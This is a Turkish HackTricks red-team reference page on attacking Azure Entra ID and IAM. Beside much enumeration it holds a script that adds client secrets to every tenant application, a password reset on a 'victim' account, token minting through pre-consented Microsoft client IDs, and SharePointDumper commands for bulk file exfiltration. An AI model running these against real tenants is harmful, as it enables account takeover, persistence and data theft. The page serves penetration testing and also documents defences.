Az - Entra ID (AzureAD) & Azure IAM

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Azure Active Directory (Azure AD), Microsoft’ün kimlik ve erişim yönetimi için bulut tabanlı hizmetidir. Çalışanların hem kuruluş içindeki hem de dışındaki kaynaklara (Microsoft 365, Azure portal ve diğer birçok SaaS uygulaması dahil) oturum açmasını ve erişim elde etmesini sağlar. Azure AD’nin tasarımı, temel kimlik hizmetleri sunmaya odaklanır; bunların başında kimlik doğrulama, yetkilendirme ve kullanıcı yönetimi gelir.

Azure AD’nin önemli özellikleri arasında çok faktörlü kimlik doğrulama ve koşullu erişim bulunur; ayrıca diğer Microsoft güvenlik hizmetleriyle sorunsuz entegrasyon sağlar. Bu özellikler kullanıcı kimliklerinin güvenliğini önemli ölçüde artırır ve kuruluşların erişim politikalarını etkili şekilde uygulayıp zorlamasına olanak tanır. Microsoft’un bulut hizmetleri ekosisteminin temel bir bileşeni olarak Azure AD, kullanıcı kimliklerinin bulut tabanlı yönetimi için kritik öneme sahiptir.

Keşif

Bağlantı

az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Herhangi bir programla CLI üzerinden Azure’a login yaptığınızda, Microsoft’a ait bir tenant içindeki bir Azure Application’ı kullanıyorsunuz. Hesabınızda oluşturabileceğiniz uygulamalar gibi bu Applications’lar have a client id. Konsolda görebildiğiniz allowed applications lists içinde hepsini won’t be able to see all of them, ancak but they are allowed by default.

Örneğin bir powershell script authenticates ettiğinde client id’si 1950a258-227b-4e31-a9cf-717495945fc2 olan bir app kullanır. App konsolda görünmese bile bir sysadmin o uygulamayı engelleyebilir; böylece kullanıcılar o App ile bağlantı kuran araçlarla erişim sağlayamaz.

Bununla birlikte, Azure’a bağlanmanıza izin verecek other client-ids olan uygulamalar da vardır:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Kiracılar

# List tenants
az account tenant list

Kullanıcılar

Entra ID kullanıcıları hakkında daha fazla bilgi için bakınız:

Az - Basic Information

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq

Kullanıcı Parolasını Değiştir

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

Her kullanıcıya MFA eklemek şiddetle tavsiye edilir; ancak bazı şirketler bunu ayarlamayabilir veya Conditional Access ile yapılandırabilir: Kullanıcı belirli bir konumdan, tarayıcıdan veya bazı bir koşul altında giriş yaparsa MFA gerekli olacaktır. Bu politikalar doğru yapılandırılmadığında bypasses’e açık olabilir. Kontrol edin:

Az - Conditional Access Policies & MFA Bypass

Gruplar

Entra ID grupları hakkında daha fazla bilgi için bakınız:

Az - Basic Information

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID

Gruba kullanıcı ekle

Grubun sahipleri gruba yeni kullanıcılar ekleyebilir.

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Warning

Gruplar dinamik olabilir; bu, temel olarak bir kullanıcı belirli koşulları sağlarsa bir gruba ekleneceği anlamına gelir. Elbette, koşullar kullanıcının kontrol edebileceği özniteliklere dayanıyorsa, kullanıcı bu özelliği başka gruplara dahil olmak için kötüye kullanabilir.
Dinamik grupların nasıl kötüye kullanılacağını aşağıdaki sayfada inceleyin:

Az - Dynamic Groups Privesc

Service Principals

Entra ID service principals hakkında daha fazla bilgi için bakınız:

Az - Basic Information

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Warning

Bir Service Principal’ın Owner’ı şifresini değiştirebilir.

Her Enterprise App'i listele ve her birine bir client secret eklemeyi dene ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken ‘eyJ0eX..’

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications” “Method” = “GET” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications/$ID/addPassword” “Method” = “POST” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

$Body = @{ “passwordCredential”= @{ “displayName” = “Password” } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName “Object ID” -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName “App ID” -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName “App Name” -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName “Key ID” -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName “Secret” -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output “Failed to add new client secret to ‘$($App.displayName)’ Application.” } } if($Details -ne $null) { Write-Output “” Write-Output “Client secret added to : “ Write-Output $Details | fl * } } else { Write-Output “Failed to Enumerate the Applications.” } }

</details>

### Uygulamalar

Uygulamalar hakkında daha fazla bilgi için bakınız:

<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>

Bir Uygulama oluşturulduğunda 3 tür izin verilir:

- **İzinler**in **Service Principal**'a verildiği (roller aracılığıyla).
- **Uygulamanın** kullanıcı adına sahip olabileceği ve kullanabileceği **izinler**.
- **API İzinleri** uygulamaya, bu izinlerin verilmesi için diğer rollerin onayını gerektirmeden EntraID üzerinde yetki veren izinler.

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Tüm uygulamaların API izinlerini bul ve Microsoft'a ait API'leri işaretle (az cli) ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

{{#endtab }}

{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

{{#endtab }}

{{#tab name=“MS Graph” }}

# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All

# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *

# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName

# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications

{{#endtab }}

{{#tab name=“Azure AD” }}

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

{{#endtab }} {{#endtabs }}

Warning

AppRoleAssignment.ReadWrite iznine sahip bir uygulama, kendisine bu rolü vererek Global Admin’e yükseltebilir.
Daha fazla bilgi için check this.

Note

Uygulamanın token talep ederken kimliğini kanıtlamak için kullandığı gizli dize application password’tur.
Yani bu password’u bulursanız, tenant içinde service principal olarak erişebilirsiniz.
Bu password yalnızca oluşturulduğunda görülebilir (değiştirebilirsiniz ama tekrar alamazsınız).
application’ın owner’ı ona add a password ekleyebilir (böylece onu taklit edebilir).
Bu service principal’lar ile yapılan logins riskli olarak işaretlenmez ve MFA olmayacaktır.

Microsoft’a ait yaygın olarak kullanılan App IDs listesini şu adreste bulabilirsiniz: https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications

Managed Identities

Managed Identities hakkında daha fazla bilgi için bakınız:

Az - Basic Information

# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals

Azure Rolleri

Azure rolleri hakkında daha fazla bilgi için bakınız:

Az - Basic Information

# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"

Entra ID Rolleri

Azure rolleri hakkında daha fazla bilgi için bakınız:

Az - Basic Information

# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

Cihazlar

# If you know how to do this send a PR!

Warning

Eğer bir cihaz (VM) AzureAD joined ise, AzureAD’den kullanıcılar able to login.
Ayrıca, oturum açan kullanıcı cihazın Owner’ı ise, o kişi local admin olacaktır.

Yönetim Birimleri

Yönetim birimleri hakkında daha fazla bilgi için bakınız:

Az - Basic Information

# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"

Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)

Saldırganlar, delegated Microsoft Graph token’a sahipse ve bu token Sites.Read.All veya Sites.ReadWrite.All içeriyorsa, Graph üzerinden sites/drives/items’ı listeleyebilir ve ardından SharePoint pre-authentication download URLs aracılığıyla (erişim belirteci gömülü, zaman sınırlı URL’ler) dosya içeriklerini çekebilir. SharePointDumper scripti tüm akışı otomatikleştirir (enumeration → pre-auth downloads) ve tespit testi için istek başına telemetri üretir.

Obtaining usable delegated tokens

  • SharePointDumper kendisi does not authenticate; bir access token sağlayın (isteğe bağlı refresh token).
  • Önceden onaylanmış first-party clients, bir uygulama kaydetmeden Graph token mint etmek için kötüye kullanılabilir. Örnek Invoke-Auth (EntraTokenAid’ten, EntraTokenAid) çağrıları:
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob'  # OneDrive (FOCI TRUE)

# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient'              # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint'        # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)

Note

FOCI TRUE istemciler cihazlar arasında refresh’ı destekler; FOCI FALSE istemciler genellikle reply URL origin validation’ı karşılamak için -Origin gerektirir.

SharePointDumper’ı enumeration + exfiltration için çalıştırma

  • Temel dump özel UA / proxy / throttling ile:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
  • Kapsam kontrolü: site veya uzantıları dahil/ hariç etme ve genel limitler:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
  • Sürdür kesintiye uğramış çalışmaları (re-enumerates ancak indirilen öğeleri atlar):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
  • HTTP 401 durumunda otomatik token yenileme (EntraTokenAid yüklü olmasını gerektirir):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'

Operasyonel notlar:

  • Orta çalışma sırasında sona ermesini önlemek için CAE-enabled tokenları tercih eder; yenileme denemeleri aracın API günlük kaydına kaydedilmez.
  • Graph + SharePoint için CSV/JSON request logs üretir ve gömülü SharePoint indirme tokenlarını varsayılan olarak karartır (açılıp kapatılabilir).
  • custom User-Agent, HTTP proxy, per-request delay + jitter ve Ctrl+C-safe shutdown desteği ile detection/IR testleri sırasında trafik şekillendirme sağlar.

Entra ID Privilege Escalation

Az - EntraID Privesc

Azure Privilege Escalation

Az - Azure IAM Privesc (Authorization)

Savunma Mekanizmaları

Privileged Identity Management (PIM)

Privileged Identity Management (PIM) Azure’da kullanıcılara gereksiz yere aşırı ayrıcalıklar atanmasını önlemeye yardımcı olur.

PIM tarafından sunulan ana özelliklerden biri, rolleri sürekli aktif olarak atamak yerine onları belirli bir süre için eligible hale getirebilmesidir (ör. 6 months). Kullanıcı bu rolü etkinleştirmek istediğinde, ihtiyacı olan süreyi (ör. 3 hours) belirterek talep etmelidir. Ardından bir adminin onayı gerekir.
Kullanıcı ayrıca süreyi uzatma talebinde bulunabilir.

Ayrıca, bir ayrıcalıklı rol birine atandığında PIM e-posta gönderir.

PIM etkinleştirildiğinde, her rolü şu tür gereksinimlerle yapılandırmak mümkündür:

  • Etkinleştirme için maksimum süre (saat)
  • Etkinleştirmede MFA gerektir
  • Etkinleştirmede Conditional Access authentication context gerektir
  • Etkinleştirmede gerekçe gerektir
  • Etkinleştirmede bilet bilgisi gerektir
  • Etkinleştirmek için onay gerektir
  • Eligible atamaların sona ermesi için maksimum süre
  • Bu rol ile belirli eylemler gerçekleştiğinde kime ve ne zaman bildirim gönderileceğine dair çok daha fazla yapılandırma

Conditional Access Policies

Bakınız:

Az - Conditional Access Policies & MFA Bypass

Entra Identity Protection

Entra Identity Protection, bir kullanıcı veya bir sign-in denemesinin kabul edilemeyecek kadar riskli olduğunu tespit etmeye ve böylece kullanıcıyı veya sign-in girişimini engellemeye imkan veren bir güvenlik servisidir.

Yönetici, riske göre denemeleri “Low and above”, “Medium and above” veya “High” olduğunda engelleyecek şekilde yapılandırabilir. Ancak, varsayılan olarak tamamen devre dışıdır:

Tip

Günümüzde bu kısıtlamaların mümkün olduğunda aynı seçenekleri yapılandırabildiğiniz Conditional Access policies aracılığıyla eklenmesi önerilir.

Entra Password Protection

Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) zayıf parolaların kötüye kullanımını, birden fazla başarısız oturum açma denemesi olduğunda hesapları kilitleyerek önlemeye yardımcı olan bir güvenlik özelliğidir.
Ayrıca sağladığınız özel bir parola listesini yasaklamanıza izin verir.

Hem bulut düzeyinde hem de on-premises Active Directory’de uygulanabilir.

Varsayılan mod Audit’tir:

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin